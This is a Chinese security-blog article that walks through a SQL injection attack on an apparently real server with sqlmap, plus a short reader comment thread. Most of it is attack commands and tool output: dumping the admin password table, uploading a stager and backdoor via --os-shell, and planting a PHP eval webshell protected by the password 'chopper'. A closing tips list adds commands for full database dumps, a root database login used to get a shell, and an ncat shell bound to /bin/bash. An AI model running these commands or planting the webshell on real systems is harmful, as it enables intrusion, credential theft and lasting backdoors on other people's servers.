使用sqlmap进行MySQL注入并渗透某服务器

2017-10-25 22,220

本文作者:simeon

本文属于安全脉搏原创金币奖励计划文章,

转载请参考:https://www.secpulse.com/archives/61458.html


sqlmap功能强大,在某些情况下,通过SQL注入可以直接获取webshell权限,甚至可以获取Windows或者Linux服务器权限。下面以一个实际案例来介绍如何获取服务器权限。


1、检测SQL注入点

SQL注入点可以通过扫描软件扫描,手工测试以及读取代码来判断,一旦发现存在SQL注入,可以直接进行检测,如图1所示,执行:

sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263

可以获取信息:

web server operating system: Windows
web application technology: PHP 5.4.34, Apache 2.4.10
back-end DBMS: MySQL >= 5.0.12

通过提示信息可以知道该SQL注入点是基于时间的盲注。

t1.png
图1检测当前SQL注入点是否可用


2、获取当前数据库信息

sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263  --current-db

获取当前数据库为“Sshgdsys”,如图2所示。

t2.png
图2获取当前数据库


3、获取当前数据库表

sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 -D sshgdsys --tables

基于时间注入:

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '—time-sec')? [Y/n] y

t3.png
图3获取数据库中的表


4、获取admins表列和数据

sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 -D sshgdsys -T admins --columns
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 -D sshgdsys -T admins -C  id,adminpass ,adminname —dump


5、获取webshell

(1)获取网站信息

能够获取webshell的前提是能够确定网站的真实路径以及目录权限可以写入。通常使用—os-shell参数来获取。执行命令:

sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)

选择web应用程序类型,选择4,开始获取网站的根目录,存在漏洞所在程序的路径,效果如图4所示。

[10:18:46] [INFO] retrieved the web server document root: 'E:\xampp\htdocs'
[10:18:46] [INFO] retrieved web server absolute paths: 'E:/xampp/htdocs/sshgdsys/fb/modify.php'
[10:18:46] [INFO] trying to upload the file stager on 'E:/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[10:18:48] [INFO] heuristics detected web page charset 'utf-8'
[10:18:48] [INFO] the file stager has been successfully uploaded on 'E:/xampp/htdocs/' - http://***.**.**.**:8081/tmpuqioc.php
[10:18:48] [INFO] heuristics detected web page charset 'ascii'
[10:18:48] [INFO] the backdoor has been successfully uploaded on 'E:/xampp/htdocs/' - http://***.**.**.**:8081/tmpbboab.php
[10:18:48] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

t4.png
图4获取网站真实路径和当前目录

(2)获取webshell

在sqlmap命令提示窗口直接输入:

echo "<?php @eval($_POST['chopper']);?>" >1.php 在当前路径下生成1.php。

获取webshell: http://***.**.**.**:8081/1.php 一句话密码为:chopper

执行命令whomai即可获取系统权限,如图5所示。

t5.png
图5获取系统权限



6、总结及技巧

  1. (1)自动提交参数和智能进行注入:sqlmap.py -u url --batch --smart

  2. (2)获取所有信息:sqlmap.py -u url --batch –smart -a

  3. (3)导出数据库:sqlmap.py -u url -–dump-all

  4. (4)直接连接数据库:python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs –users,例如root账号直接获取shell:
    python sqlmap.py -d "mysql://root:123456@192.168.21.17:3306/mysql" –os-shell

  5. (5)获取webshell: sqlmap.py -u url –os-shell

  6. (6)linux下实现反弹:
    ncat -l -p 2333 -e /bin/bash
    ncat targetip 2333

本文作者:simeon

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/62891.html

Tags:
评论  (4)
快来写下你的想法吧!
  • alert 2017-10-25 14:29:00

    oracle注入怎么执行命令 写shell啊

    • simeon 团队认证 2017-10-25 15:22:43

      @alert 跟mysql类似。没有具体环境测试过。你可以使用–os-shell试试。

  • wjah 2017-10-27 11:07:11

    您好,我是这方面的小白。请问渗透测试需要掌握哪些基础知识

simeon

文章数:8 积分: 79

antian365.com 专注与网络安全技术研究。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号